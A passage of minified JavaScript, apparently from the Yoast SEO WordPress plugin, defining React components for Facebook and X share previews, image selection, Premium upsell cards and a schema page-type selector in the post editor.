n=t-r;"portrait"===s&&(n=5===r?0:4),n!==e&&this.setState({descriptionLineCount:n})}componentDidUpdate(){this.maybeSetMaxLineCount(),this.maybeSetDescriptionLineCount()}render(){const{imageMode:e,maxLineCount:s,descriptionLineCount:r}=this.state;return(0,t.createElement)(Sn,{id:"facebookPreview",mode:e},(0,t.createElement)(vn,{src:this.props.imageUrl||this.props.imageFallbackUrl,alt:this.props.alt,onImageLoaded:this.onImageLoaded,onImageClick:this.props.onImageClick,onMouseEnter:this.onImageEnter,onMouseLeave:this.onLeave}),(0,t.createElement)(Tn,{mode:e},(0,t.createElement)(ln,{siteUrl:this.props.siteUrl,mode:e}),(0,t.createElement)(kn,{ref:this.facebookTitleRef,onMouseEnter:this.onTitleEnter,onMouseLeave:this.onLeave,onClick:this.onSelectTitle,lineCount:s},this.props.title),r>0&&(0,t.createElement)(xn,{maxWidth:Rn(e),onMouseEnter:this.onDescriptionEnter,onMouseLeave:this.onLeave,onClick:this.onSelectDescription,lineCount:r},this.props.description)))}}Cn.propTypes={siteUrl:y().string.isRequired,title:y().string.isRequired,description:y().string,imageUrl:y().string,imageFallbackUrl:y().string,alt:y().string,onSelect:y().func,onImageClick:y().func,onMouseHover:y().func},Cn.defaultProps={description:"",alt:"",imageUrl:"",imageFallbackUrl:"",onSelect:()=>{},onImageClick:()=>{},onMouseHover:()=>{}};const In=Cn,Pn=w().div`
	text-transform: lowercase;
	color: rgb(83, 100, 113);
	white-space: nowrap;
	overflow: hidden;
	text-overflow: ellipsis;
	margin: 0;
	fill: currentcolor;
	display: flex;
	flex-direction: row;
	align-items: flex-end;
`,Ln=e=>(0,t.createElement)(Pn,null,(0,t.createElement)("span",null,e.siteUrl));Ln.propTypes={siteUrl:y().string.isRequired};const An=Ln,Fn=(e,t=!0)=>e?`\n\t\t\tmax-width: ${cn.TWITTER_IMAGE_SIZES.landscapeWidth}px;\n\t\t\t${t?"border-bottom: 1px solid #E1E8ED;":""}\n\t\t\tborder-radius: 14px 14px 0 0;\n\t\t\t`:`\n\t\twidth: ${cn.TWITTER_IMAGE_SIZES.squareWidth}px;\n\t\t${t?"border-right: 1px solid #E1E8ED;":""}\n\t\tborder-radius: 14px 0 0 14px;\n\t\t`,On=w().div`
	position: relative;
	box-sizing: content-box;
	overflow: hidden;
	background-color: #e1e8ed;
	flex-shrink: 0;
	${e=>Fn(e.isLarge)}
`,Nn=w().div`
	display: flex;
	justify-content: center;
	align-items: center;
	box-sizing: border-box;
	max-width: 100%;
	margin: 0;
	padding: 1em;
	text-align: center;
	font-size: 1rem;
	${e=>Fn(e.isLarge,!1)}
`,qn=w()(Nn)`
	${e=>e.isLarge&&`height: ${cn.TWITTER_IMAGE_SIZES.landscapeHeight}px;`}
	border-top-left-radius: 14px;
	${e=>e.isLarge?"border-top-right-radius":"border-bottom-left-radius"}: 14px;
	border-style: dashed;
	border-width: 1px;
	// We're not using standard colors to increase contrast for accessibility.
	color: #006DAC;
	// We're not using standard colors to increase contrast for accessibility.
	background-color: #f1f1f1;
	text-decoration: underline;
	font-size: 14px;
	cursor: pointer;
`;class Mn extends r().Component{constructor(e){super(e),this.state={status:"loading"},this.socialMedium="Twitter",this.handleTwitterImage=this.handleTwitterImage.bind(this),this.setState=this.setState.bind(this)}async handleTwitterImage(){if(null===this.props.src)return;const e=await fn(this.props.src,this.socialMedium,this.props.isLarge);this.setState(e)}componentDidUpdate(e){e.src!==this.props.src&&this.handleTwitterImage()}componentDidMount(){this.handleTwitterImage()}render(){const{status:e,imageProperties:s}=this.state;return"loading"===e||""===this.props.src||"errored"===e?(0,t.createElement)(qn,{isLarge:this.props.isLarge,onClick:this.props.onImageClick,onMouseEnter:this.props.onMouseEnter,onMouseLeave:this.props.onMouseLeave},(0,l.__)("Select image","wordpress-seo")):(0,t.createElement)(On,{isLarge:this.props.isLarge,onClick:this.props.onImageClick,onMouseEnter:this.props.onMouseEnter,onMouseLeave:this.props.onMouseLeave},(0,t.createElement)(mn,{imageProps:{src:this.props.src,alt:this.props.alt,aspectRatio:cn.TWITTER_IMAGE_SIZES.aspectRatio},width:s.width,height:s.height,imageMode:s.mode}))}}Mn.propTypes={isLarge:y().bool.isRequired,src:y().string,alt:y().string,onImageClick:y().func,onMouseEnter:y().func,onMouseLeave:y().func},Mn.defaultProps={src:"",alt:"",onMouseEnter:m.noop,onImageClick:m.noop,onMouseLeave:m.noop};const Dn=w().div`
	display: flex;
	flex-direction: column;
	padding: 12px;
	justify-content: center;
	margin: 0;
	box-sizing: border-box;
	flex: auto;
	min-width: 0px;
	gap:2px;
	> * {
		line-height:20px;
		min-height:20px;
		font-size:15px;
    }
`,$n=e=>(0,t.createElement)(Dn,null,e.children);$n.propTypes={children:y().array.isRequired};const Bn=$n,Un=w().p`
	white-space: nowrap;
	overflow: hidden;
	text-overflow: ellipsis;
	margin: 0;
	color: rgb(15, 20, 25);
	cursor: pointer;
`,Wn=w().p`
	max-height: 55px;
	overflow: hidden;
	text-overflow: ellipsis;
	margin: 0;
	color: rgb(83, 100, 113);
	display: -webkit-box;
	cursor: pointer;
	-webkit-line-clamp: 2;
	-webkit-box-orient: vertical;

	@media all and ( max-width: ${cn.TWITTER_IMAGE_SIZES.landscapeWidth}px ) {
		display: none;
	}
`,jn=w().div`
	font-family: system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Ubuntu, "Helvetica Neue", sans-serif;
	font-size: 15px;
	font-weight: 400;
	line-height: 20px;
	max-width: 507px;
	border: 1px solid #E1E8ED;
	box-sizing: border-box;
	border-radius: 14px;
	color: #292F33;
	background: #FFFFFF;
	text-overflow: ellipsis;
	display: flex;

	&:hover {
		background: #f5f8fa;
		border: 1px solid rgba(136,153,166,.5);
	}
`,Kn=w()(jn)`
	flex-direction: column;
	max-height: 370px;
`,Hn=w()(jn)`
	flex-direction: row;
	height: 125px;
`;class Vn extends t.Component{constructor(e){super(e),this.onImageEnter=this.props.onMouseHover.bind(this,"image"),this.onTitleEnter=this.props.onMouseHover.bind(this,"title"),this.onDescriptionEnter=this.props.onMouseHover.bind(this,"description"),this.onLeave=this.props.onMouseHover.bind(this,""),this.onSelectTitle=this.props.onSelect.bind(this,"title"),this.onSelectDescription=this.props.onSelect.bind(this,"description")}render(){const{isLarge:e,imageUrl:s,imageFallbackUrl:r,alt:n,title:a,description:o,siteUrl:i}=this.props,l=e?Kn:Hn;return(0,t.createElement)(l,{id:"twitterPreview"},(0,t.createElement)(Mn,{src:s||r,alt:n,isLarge:e,onImageClick:this.props.onImageClick,onMouseEnter:this.onImageEnter,onMouseLeave:this.onLeave}),(0,t.createElement)(Bn,null,(0,t.createElement)(An,{siteUrl:i}),(0,t.createElement)(Un,{onMouseEnter:this.onTitleEnter,onMouseLeave:this.onLeave,onClick:this.onSelectTitle},a),(0,t.createElement)(Wn,{onMouseEnter:this.onDescriptionEnter,onMouseLeave:this.onLeave,onClick:this.onSelectDescription},o)))}}Vn.propTypes={siteUrl:y().string.isRequired,title:y().string.isRequired,description:y().string,isLarge:y().bool,imageUrl:y().string,imageFallbackUrl:y().string,alt:y().string,onSelect:y().func,onImageClick:y().func,onMouseHover:y().func},Vn.defaultProps={description:"",alt:"",imageUrl:"",imageFallbackUrl:"",onSelect:()=>{},onImageClick:()=>{},onMouseHover:()=>{},isLarge:!0};const zn=Vn,Yn=window.yoast.replacementVariableEditor;class Gn extends t.Component{constructor(e){super(e),this.state={activeField:"",hoveredField:""},this.SocialPreview="Social"===e.socialMediumName?In:zn,this.setHoveredField=this.setHoveredField.bind(this),this.setActiveField=this.setActiveField.bind(this),this.setEditorRef=this.setEditorRef.bind(this),this.setEditorFocus=this.setEditorFocus.bind(this)}setHoveredField(e){e!==this.state.hoveredField&&this.setState({hoveredField:e})}setActiveField(e){e!==this.state.activeField&&this.setState({activeField:e},(()=>this.setEditorFocus(e)))}setEditorFocus(e){switch(e){case"title":this.titleEditorRef.focus();break;case"description":this.descriptionEditorRef.focus()}}setEditorRef(e,t){switch(e){case"title":this.titleEditorRef=t;break;case"description":this.descriptionEditorRef=t}}render(){const{onDescriptionChange:e,onTitleChange:s,onSelectImageClick:n,onRemoveImageClick:a,socialMediumName:o,imageWarnings:i,siteUrl:l,description:c,descriptionInputPlaceholder:d,descriptionPreviewFallback:p,imageUrl:u,imageFallbackUrl:m,alt:h,title:g,titleInputPlaceholder:y,titlePreviewFallback:f,replacementVariables:w,recommendedReplacementVariables:b,applyReplacementVariables:E,onReplacementVariableSearchChange:v,isPremium:k,isLarge:_,socialPreviewLabel:x,idSuffix:R,activeMetaTabId:S}=this.props,T=E({title:g||f,description:c||p});return(0,t.createElement)(r().Fragment,null,x&&(0,t.createElement)(ke.SimulatedLabel,null,x),(0,t.createElement)(this.SocialPreview,{onMouseHover:this.setHoveredField,onSelect:this.setActiveField,onImageClick:n,siteUrl:l,title:T.title,description:T.description,imageUrl:u,imageFallbackUrl:m,alt:h,isLarge:_,activeMetaTabId:S}),(0,t.createElement)(cn.SocialMetadataPreviewForm,{onDescriptionChange:e,socialMediumName:o,title:g,titleInputPlaceholder:y,onRemoveImageClick:a,imageSelected:!!u,imageUrl:u,onTitleChange:s,onSelectImageClick:n,description:c,descriptionInputPlaceholder:d,imageWarnings:i,replacementVariables:w,recommendedReplacementVariables:b,onReplacementVariableSearchChange:v,onMouseHover:this.setHoveredField,hoveredField:this.state.hoveredField,onSelect:this.setActiveField,activeField:this.state.activeField,isPremium:k,setEditorRef:this.setEditorRef,idSuffix:R}))}}Gn.propTypes={title:y().string.isRequired,onTitleChange:y().func.isRequired,description:y().string.isRequired,onDescriptionChange:y().func.isRequired,imageUrl:y().string.isRequired,imageFallbackUrl:y().string.isRequired,onSelectImageClick:y().func.isRequired,onRemoveImageClick:y().func.isRequired,socialMediumName:y().string.isRequired,alt:y().string,isPremium:y().bool,imageWarnings:y().array,isLarge:y().bool,siteUrl:y().string,descriptionInputPlaceholder:y().string,titleInputPlaceholder:y().string,descriptionPreviewFallback:y().string,titlePreviewFallback:y().string,replacementVariables:Yn.replacementVariablesShape,recommendedReplacementVariables:Yn.recommendedReplacementVariablesShape,applyReplacementVariables:y().func,onReplacementVariableSearchChange:y().func,socialPreviewLabel:y().string,idSuffix:y().string,activeMetaTabId:y().string},Gn.defaultProps={imageWarnings:[],recommendedReplacementVariables:[],replacementVariables:[],isPremium:!1,isLarge:!0,siteUrl:"",descriptionInputPlaceholder:"",titleInputPlaceholder:"",descriptionPreviewFallback:"",titlePreviewFallback:"",alt:"",applyReplacementVariables:e=>e,onReplacementVariableSearchChange:null,socialPreviewLabel:"",idSuffix:"",activeMetaTabId:""};const Zn={},Xn=(e,t,{log:s=console.warn}={})=>{Zn[e]||(Zn[e]=!0,s(t))},Qn=(e,t=m.noop)=>{const s={};for(const r in e)Object.hasOwn(e,r)&&Object.defineProperty(s,r,{set:s=>{e[r]=s,t("set",r,s)},get:()=>(t("get",r),e[r])});return s};Qn({squareWidth:125,squareHeight:125,landscapeWidth:506,landscapeHeight:265,aspectRatio:50.2},((e,t)=>Xn(`@yoast/social-metadata-previews/TWITTER_IMAGE_SIZES/${e}/${t}`,`[@yoast/social-metadata-previews] "TWITTER_IMAGE_SIZES.${t}" is deprecated and will be removed in the future, please use this from @yoast/social-metadata-forms instead.`))),Qn({squareWidth:158,squareHeight:158,landscapeWidth:527,landscapeHeight:273,portraitWidth:158,portraitHeight:237,aspectRatio:52.2,largeThreshold:{width:446,height:233}},((e,t)=>Xn(`@yoast/social-metadata-previews/FACEBOOK_IMAGE_SIZES/${e}/${t}`,`[@yoast/social-metadata-previews] "FACEBOOK_IMAGE_SIZES.${t}" is deprecated and will be removed in the future, please use this from @yoast/social-metadata-forms instead.`)));const Jn=w().div`
	max-width: calc(527px + 1.5rem);
`,ea=e=>{const s="X"===e.socialMediumName?(0,l.__)("X share preview","wordpress-seo"):(0,l.__)("Social share preview","wordpress-seo"),{locationContext:r}=(0,S.useRootContext)();return(0,t.createElement)(S.Root,null,(0,t.createElement)(Jn,null,(0,t.createElement)(S.FeatureUpsell,{shouldUpsell:!0,variant:"card",cardLink:(0,xr.addQueryArgs)(wpseoAdminL10n["shortlinks.upsell.social_preview."+e.socialMediumName.toLowerCase()],{context:r}),cardText:(0,l.sprintf)(/* translators: %1$s expands to Yoast SEO Premium. */
(0,l.__)("Unlock with %1$s","wordpress-seo"),"Yoast SEO Premium"),"data-action":"load-nfd-ctb","data-ctb-id":"f6a84663-465f-4cb5-8ba5-f7a6d72224b2"},(0,t.createElement)("div",{className:"yst-grayscale yst-opacity-50"},(0,t.createElement)(S.Label,null,s),(0,t.createElement)(In,{title:"",description:"",siteUrl:"",imageUrl:"",imageFallbackUrl:"",alt:"",onSelect:m.noop,onImageClick:m.noop,onMouseHover:m.noop})))))};ea.propTypes={socialMediumName:y().oneOf(["Social","Twitter","X"]).isRequired};const ta=ea;class sa extends i.Component{constructor(e){super(e),this.state={activeField:"",hoveredField:""},this.setHoveredField=this.setHoveredField.bind(this),this.setActiveField=this.setActiveField.bind(this),this.setEditorRef=this.setEditorRef.bind(this),this.setEditorFocus=this.setEditorFocus.bind(this)}setHoveredField(e){e!==this.state.hoveredField&&this.setState({hoveredField:e})}setActiveField(e){e!==this.state.activeField&&this.setState({activeField:e},(()=>this.setEditorFocus(e)))}setEditorFocus(e){switch(e){case"title":this.titleEditorRef.focus();break;case"description":this.descriptionEditorRef.focus()}}setEditorRef(e,t){switch(e){case"title":this.titleEditorRef=t;break;case"description":this.descriptionEditorRef=t}}render(){const{onDescriptionChange:e,onTitleChange:s,onSelectImageClick:r,onRemoveImageClick:n,socialMediumName:a,imageWarnings:o,description:l,descriptionInputPlaceholder:c,imageUrl:d,alt:p,title:u,titleInputPlaceholder:m,replacementVariables:h,recommendedReplacementVariables:g,onReplacementVariableSearchChange:y,isPremium:f,location:w}=this.props;return(0,t.createElement)(i.Fragment,null,(0,t.createElement)(ta,{socialMediumName:a}),(0,t.createElement)(cn.SocialMetadataPreviewForm,{onDescriptionChange:e,socialMediumName:a,title:u,titleInputPlaceholder:m,onRemoveImageClick:n,imageSelected:!!d,imageUrl:d,imageAltText:p,onTitleChange:s,onSelectImageClick:r,description:l,descriptionInputPlaceholder:c,imageWarnings:o,replacementVariables:h,recommendedReplacementVariables:g,onReplacementVariableSearchChange:y,onMouseHover:this.setHoveredField,hoveredField:this.state.hoveredField,onSelect:this.setActiveField,activeField:this.state.activeField,isPremium:f,setEditorRef:this.setEditorRef,idSuffix:w}))}}sa.propTypes={title:y().string.isRequired,onTitleChange:y().func.isRequired,description:y().string.isRequired,onDescriptionChange:y().func.isRequired,imageUrl:y().string.isRequired,onSelectImageClick:y().func.isRequired,onRemoveImageClick:y().func.isRequired,socialMediumName:y().string.isRequired,isPremium:y().bool,imageWarnings:y().array,descriptionInputPlaceholder:y().string,titleInputPlaceholder:y().string,replacementVariables:Yn.replacementVariablesShape,recommendedReplacementVariables:Yn.recommendedReplacementVariablesShape,onReplacementVariableSearchChange:y().func,location:y().string,alt:y().string},sa.defaultProps={imageWarnings:[],recommendedReplacementVariables:[],replacementVariables:[],isPremium:!1,descriptionInputPlaceholder:"",titleInputPlaceholder:"",onReplacementVariableSearchChange:null,location:"",alt:""};const ra=sa,na=e=>{const[s,r]=(0,i.useState)(""),n=(0,i.useCallback)((e=>{r(e.detail.metaTabId)}),[r]);(0,i.useEffect)((()=>(setTimeout(e.onLoad),window.addEventListener("YoastSEO:metaTabChange",n),()=>{window.removeEventListener("YoastSEO:metaTabChange",n)})),[]);const a=(0,i.useMemo)((()=>({...e,activeMetaTabId:s})),[e,s]);return e.isPremium?(0,t.createElement)(k.Slot,{name:`YoastFacebookPremium${e.location.charAt(0).toUpperCase()+e.location.slice(1)}`,fillProps:a}):(0,t.createElement)(ra,{...a})};na.propTypes={isPremium:y().bool.isRequired,onLoad:y().func.isRequired,location:y().string.isRequired};const aa=na;function oa(e){(function(e){const t=window.wp.media();return t.on("select",(()=>{const s=t.state().get("selection").first();var r;e({type:(r=s.attributes).subtype,width:r.width,height:r.height,url:r.url,id:r.id,sizes:r.sizes,alt:r.alt||r.title||r.name})})),t})(e).open()}const ia=()=>{oa((e=>(0,a.dispatch)("yoast-seo/editor").setFacebookPreviewImage((e=>{const{width:t,height:s}=e,r=(0,cn.determineFacebookImageMode)({width:t,height:s}),n=cn.FACEBOOK_IMAGE_SIZES[r+"Width"],a=cn.FACEBOOK_IMAGE_SIZES[r+"Height"],o=Object.values(e.sizes).find((e=>e.width>=n&&e.height>=a));return{url:o?o.url:e.url,id:e.id,warnings:(0,De.validateFacebookImage)(e),alt:e.alt||""}})(e))))},la=(0,Le.compose)([(0,a.withSelect)((e=>{const{getFacebookDescription:t,getDescription:s,getFacebookTitle:r,getSeoTitle:n,getFacebookImageUrl:a,getImageFallback:o,getFacebookWarnings:i,getRecommendedReplaceVars:l,getReplaceVars:c,getSiteUrl:d,getSeoTitleTemplate:p,getSeoTitleTemplateNoFallback:u,getSocialTitleTemplate:m,getSeoDescriptionTemplate:g,getSocialDescriptionTemplate:y,getReplacedExcerpt:f,getFacebookAltText:w}=e("yoast-seo/editor");return{imageUrl:a(),imageFallbackUrl:o(),recommendedReplacementVariables:l(),replacementVariables:c(),description:t(),descriptionPreviewFallback:y()||s()||g()||f()||"",title:r(),titlePreviewFallback:m()||n()||u()||p()||"",imageWarnings:i(),siteUrl:d(),isPremium:!!h().isPremium,titleInputPlaceholder:"",descriptionInputPlaceholder:"",socialMediumName:"Social",alt:w()}})),(0,a.withDispatch)(((e,t,{select:s})=>{const{setFacebookPreviewTitle:r,setFacebookPreviewDescription:n,clearFacebookPreviewImage:a,loadFacebookPreviewData:o,findCustomFields:i}=e("yoast-seo/editor"),l=s("yoast-seo/editor").getPostId();return{onSelectImageClick:ia,onRemoveImageClick:a,onDescriptionChange:n,onTitleChange:r,onLoad:o,onReplacementVariableSearchChange:Js(l,i)}})),$s()])(aa),ca=e=>((0,i.useEffect)((()=>{setTimeout(e.onLoad)}),[]),e.isPremium?(0,t.createElement)(k.Slot,{name:`YoastTwitterPremium${e.location.charAt(0).toUpperCase()+e.location.slice(1)}`,fillProps:e}):(0,t.createElement)(ra,{...e}));ca.propTypes={isPremium:y().bool.isRequired,onLoad:y().func.isRequired,location:y().string.isRequired};const da=ca,pa=()=>{oa((e=>(0,a.dispatch)("yoast-seo/editor").setTwitterPreviewImage((e=>{const t="summary"!==(0,m.get)(window,"wpseoScriptData.metabox.twitterCardType")?"landscape":"square",s=cn.TWITTER_IMAGE_SIZES[t+"Width"],r=cn.TWITTER_IMAGE_SIZES[t+"Height"],n=Object.values(e.sizes).find((e=>e.width>=s&&e.height>=r));return{url:n?n.url:e.url,id:e.id,warnings:(0,De.validateTwitterImage)(e),alt:e.alt||""}})(e))))},ua=(0,Le.compose)([(0,a.withSelect)((e=>{const{getTwitterDescription:t,getTwitterTitle:s,getTwitterImageUrl:r,getFacebookImageUrl:n,getFacebookTitle:a,getFacebookDescription:o,getDescription:i,getSeoTitle:l,getTwitterWarnings:c,getTwitterImageType:d,getImageFallback:p,getRecommendedReplaceVars:u,getReplaceVars:m,getSiteUrl:g,getSeoTitleTemplate:y,getSeoTitleTemplateNoFallback:f,getSocialTitleTemplate:w,getSeoDescriptionTemplate:b,getSocialDescriptionTemplate:E,getReplacedExcerpt:v,getTwitterAltText:k}=e("yoast-seo/editor");return{imageUrl:r(),imageFallbackUrl:n()||p(),recommendedReplacementVariables:u(),replacementVariables:m(),description:t(),descriptionPreviewFallback:E()||o()||i()||b()||v()||"",title:s(),titlePreviewFallback:w()||a()||l()||f()||y()||"",imageWarnings:c(),siteUrl:g(),isPremium:!!h().isPremium,isLarge:"summary"!==d(),titleInputPlaceholder:"",descriptionInputPlaceholder:"",socialMediumName:"X",alt:k()}})),(0,a.withDispatch)(((e,t,{select:s})=>{const{setTwitterPreviewTitle:r,setTwitterPreviewDescription:n,clearTwitterPreviewImage:a,loadTwitterPreviewData:o,findCustomFields:i}=e("yoast-seo/editor"),l=s("yoast-seo/editor").getPostId();return{onSelectImageClick:pa,onRemoveImageClick:a,onDescriptionChange:n,onTitleChange:r,onLoad:o,onReplacementVariableSearchChange:Js(l,i)}})),$s()])(da),ma=w().legend`
	margin: 16px 0;
	padding: 0;
	color: ${_e.colors.$color_headings};
	font-size: 12px;
	font-weight: 300;
`,ha=w().legend`
	margin: 0 0 16px;
	padding: 0;
	color: ${_e.colors.$color_headings};
	font-size: 12px;
	font-weight: 300;
`,ga=w().div`
	padding: 16px;
`,ya=({useOpenGraphData:e,useTwitterData:s})=>(0,t.createElement)(i.Fragment,null,s&&e&&(0,t.createElement)(i.Fragment,null,(0,t.createElement)(ir,{hasSeparator:!1
/* translators: Social media appearance refers to a preview of how a page will be represented on social media. */,title:(0,l.__)("Social media appearance","wordpress-seo"),initialIsOpen:!0},(0,t.createElement)(ha,null,(0,l.__)("Determine how your post should look on social media like Facebook, X, Instagram, WhatsApp, Threads, LinkedIn, Slack, and more.","wordpress-seo")),(0,t.createElement)(la,null),(0,t.createElement)(ma,null,(0,l.__)("To customize the appearance of your post specifically for X, please fill out the 'X appearance' settings below. If you leave these settings untouched, the 'Social media appearance' settings mentioned above will also be applied for sharing on X.","wordpress-seo"))),(0,t.createElement)(ir,{title:(0,l.__)("X appearance","wordpress-seo"),hasSeparator:!0,initialIsOpen:!1},(0,t.createElement)(ua,null))),e&&!s&&(0,t.createElement)(ga,null,(0,t.createElement)(ha,null,(0,l.__)("Determine how your post should look on social media like Facebook, X, Instagram, WhatsApp, Threads, LinkedIn, Slack, and more.","wordpress-seo")),(0,t.createElement)(la,null)),!e&&s&&(0,t.createElement)(ga,null,(0,t.createElement)(ha,null,(0,l.__)("To customize the appearance of your post specifically for X, please fill out the 'X appearance' settings below.","wordpress-seo")),(0,t.createElement)(ua,null)));ya.propTypes={useOpenGraphData:y().bool.isRequired,useTwitterData:y().bool.isRequired};const fa=ya,wa=(0,a.withSelect)((e=>{const{getPreferences:t}=e("yoast-seo/editor"),{useOpenGraphData:s,useTwitterData:r}=t();return{useOpenGraphData:s,useTwitterData:r}}))(fa);function ba({target:e}){return(0,t.createElement)(Se,{target:e},(0,t.createElement)(wa,null))}ba.propTypes={target:y().string.isRequired};const Ea=(0,De.makeOutboundLink)(),va=w().div`
	padding: 16px;
`,ka="yoast-seo/editor";function _a({location:e,show:s}){return s?(0,t.createElement)(ke.Alert,{type:"info"},(0,l.sprintf)(/* translators: %s Expands to "Yoast News SEO" */
(0,l.__)("Are you working on a news article? %s helps you optimize your site for Google News.","wordpress-seo"),"Yoast News SEO")+" ",(0,t.createElement)(Ea,{href:window.wpseoAdminL10n[`shortlinks.upsell.${e}.news`]},(0,l.sprintf)(/* translators: %s: Expands to "Yoast News SEO". */
(0,l.__)("Buy %s now!","wordpress-seo"),"Yoast News SEO"))):null}_a.propTypes={show:y().bool.isRequired,location:y().string.isRequired};const xa=(e,t,s)=>{const r=(0,a.useSelect)((e=>e(ka).getIsProduct()),[]),n=(0,a.useSelect)((e=>e(ka).getIsWooSeoActive()),[]),o=r&&n?{name:(0,l.__)("Item Page","wordpress-seo"),value:"ItemPage"}:e.find((e=>e.value===t));return[{name:(0,l.sprintf)(/* translators: %1$s expands to the plural name of the current post type, %2$s expands to the current site wide default. */
(0,l.__)("Default for %1$s (%2$s)","wordpress-seo"),s,o?o.name:""),value:""},...e]},Ra=e=>(0,l.sprintf)(/* translators: %1$s expands to the plural name of the current post type, %2$s and %3$s expand to a link to the Settings page */
(0,l.__)("You can change the default type for %1$s under Content types in the %2$sSettings%3$s.","wordpress-seo"),e,"{{link}}","{{/link}}");y().string.isRequired,y().string.isRequired,y().string.isRequired;const Sa=e=>{const s=xa(e.pageTypeOptions,e.defaultPageType,e.postTypeName),r=xa(e.articleTypeOptions,e.defaultArticleType,e.postTypeName),n=(0,a.useSelect)((e=>e(ka).selectLink("https://yoa.st/product-schema-metabox")),[]),o=(0,a.useSelect)((e=>e(ka).getIsWooSeoUpsell()),[]),[c,d]=(0,i.useState)(e.schemaArticleTypeSelected),p=(0,l.__)("Want your products stand out in search results with rich results like price, reviews and more?","wordpress-seo"),u=(0,a.useSelect)((e=>e(ka).getIsProduct()),[]),m=(0,a.useSelect)((e=>e(ka).getIsWooSeoActive()),[]),h=(0,a.useSelect)((e=>e(ka).selectAdminLink("?page=wpseo_page_settings")),[]),g=u&&m,y=(0,i.useCallback)(((e,t)=>{d(t)}),[c]);return(0,i.useEffect)((()=>{y(null,e.schemaArticleTypeSelected)}),[e.schemaArticleTypeSelected]),(0,t.createElement)(i.Fragment,null,(0,t.createElement)(ke.FieldGroup,{label:(0,l.__)("What type of page or content is this?","wordpress-seo"),linkTo:e.additionalHelpTextLink
/* translators: Hidden accessibility text. */,linkText:(0,l.__)("Learn more about page or content types","wordpress-seo")}),o&&(0,t.createElement)(tr,{link:n,text:p}),(0,t.createElement)(ke.Select,{id:(0,De.join)(["yoast-schema-page-type",e.location]),options:s,label:(0,l.__)("Page type","wordpress-seo"),onChange:e.schemaPageTypeChange,selected:g?"ItemPage":e.schemaPageTypeSelected,disabled:g}),e.showArticleTypeInput&&(0,t.createElement)(ke.Select,{id:(0,De.join)(["yoast-schema-article-type",e.location]),options:r,label:(0,l.__)("Article type","wordpress-seo"),onChange:e.schemaArticleTypeChange,selected:e.schemaArticleTypeSelected,onOptionFocus:y}),(0,t.createElement)(_a,{location:e.location,show:!e.isNewsEnabled&&(b=c,E=e.defaultArticleType,"NewsArticle"===b||""===b&&"NewsArticle"===E)}),e.displayFooter&&!g&&(0,t.createElement)("p",null,(f=e.postTypeName,w=h,(0,Qe.Z)({mixedString:Ra(f),components:{link:(0,t.createElement)("a",{href:w,target:"_blank",rel:"noreferrer"})}}))),g&&(0,t.createElement)("p",null,(0,l.sprintf)(/* translators: %1$s expands to Yoast WooCommerce SEO. */
(0,l.__)("You have %1$s activated on your site, automatically setting the Page type for your products to 'Item Page'. As a result, the Page type selection is disabled.","wordpress-seo"),"Yoast WooCommerce SEO")));var f,w,b,E},Ta=y().arrayOf(y().shape({name:y().string,value:y().string}));Sa.propTypes={schemaPageTypeChange:y().func,schemaPageTypeSelected:y().string,pageTypeOptions:Ta.isRequired,schemaArticleTypeChange:y().func,schemaArticleTypeSelected:y().string,articleTypeOptions:Ta.isRequired,showArticleTypeInput:y().bool.isRequired,additionalHelpTextLink:y().string.isRequired,helpTextLink:y().string.isRequired,helpTextTitle:y().string.isRequired,helpTextDescription:y().string.isRequired,postTypeName:y().string.isRequired,displayFooter:y().bool,defaultPageType:y().string.isRequired,defaultArticleType:y().string.isRequired,location:y().string.isRequired,isNewsEnabled:y().bool},Sa.defaultProps={schemaPageTypeChange:()=>{},schemaPageTypeSelected:null,schemaArticleTypeChange:()=>{},schemaArticleTypeSelected:null,displayFooter:!1,isNewsEnabled:!1};const Ca=e=>e.isMetabox?(0,i.createPortal)((0,t.createElement)(va,null,(0,t.createElement)(Sa,{...e})),document.getElementById("wpseo-meta-section-schema")):(0,t.createElement)(Sa,{...e});Ca.propTypes={showArticleTypeInput:y().bool,articleTypeLabel:y().string,additionalHelpTextLink:y().string,pageTypeLabel:y().string.isRequired,helpTextLink:y().string.isRequired,helpTextTitle:y().string.isRequired,helpTextDescription:y().string.isRequired,isMetabox:y().bool.isRequired,postTypeName:y().string.isRequired,displayFooter:y().bool,loadSchemaArticleData:y().func.isRequired,loadSchemaPageData:y().func.isRequired,location:y().string.isRequired},Ca.defaultProps={showArticleTypeInput:!1,articleTypeLabel:"",additionalHelpTextLink:"",displayFooter:!1};const Ia=Ca;class Pa{static get articleTypeInput(){return document.getElementById("yoast_wpseo_schema_article_type")}static get defaultArticleType(){return Pa.articleTypeInput.getAttribute("data-default")}static get articleType(){return Pa.articleTypeInput.value}static set articleType(e){Pa.articleTypeInput.value=e}static get pageTypeInput(){return document.getElementById("yoast_wpseo_schema_page_type")}static get defaultPageType(){return Pa.pageTypeInput.getAttribute("data-default")}static get pageType(){return Pa.pageTypeInput.value}static set pageType(e){Pa.pageTypeInput.value=e}}const La=e=>{const s=null!==Pa.articleTypeInput;(0,i.useEffect)((()=>{e.loadSchemaPageData(),s&&e.loadSchemaArticleData()}),[]);const{pageTypeOptions:r,articleTypeOptions:n}=window.wpseoScriptData.metabox.schema,a={articleTypeLabel:(0,l.__)("Article type","wordpress-seo"),pageTypeLabel:(0,l.__)("Page type","wordpress-seo"),postTypeName:window.wpseoAdminL10n.postTypeNamePlural,helpTextTitle:(0,l.__)("Yoast SEO automatically describes your pages using schema.org","wordpress-seo"),helpTextDescription:(0,l.__)("This helps search engines understand your website and your content. You can change some of your settings for this page below.","wordpress-seo"),showArticleTypeInput:s,pageTypeOptions:r,articleTypeOptions:n},o={...e,...a,...(c=e.location,"metabox"===c?{helpTextLink:wpseoAdminL10n["shortlinks.metabox.schema.explanation"],additionalHelpTextLink:wpseoAdminL10n["shortlinks.metabox.schema.page_type"],isMetabox:!0}:{helpTextLink:wpseoAdminL10n["shortlinks.sidebar.schema.explanation"],additionalHelpTextLink:wpseoAdminL10n["shortlinks.sidebar.schema.page_type"],isMetabox:!1})};var c;return(0,t.createElement)(Ia,{...o})};La.propTypes={displayFooter:y().bool.isRequired,schemaPageTypeSelected:y().string.isRequired,schemaArticleTypeSelected:y().string.isRequired,defaultArticleType:y().string.isRequired,defaultPageType:y().string.isRequired,loadSchemaPageData:y().func.isRequired,loadSchemaArticleData:y().func.isRequired,schemaPageTypeChange:y().func.isRequired,schemaArticleTypeChange:y().func.isRequired,location:y().string.isRequired};const 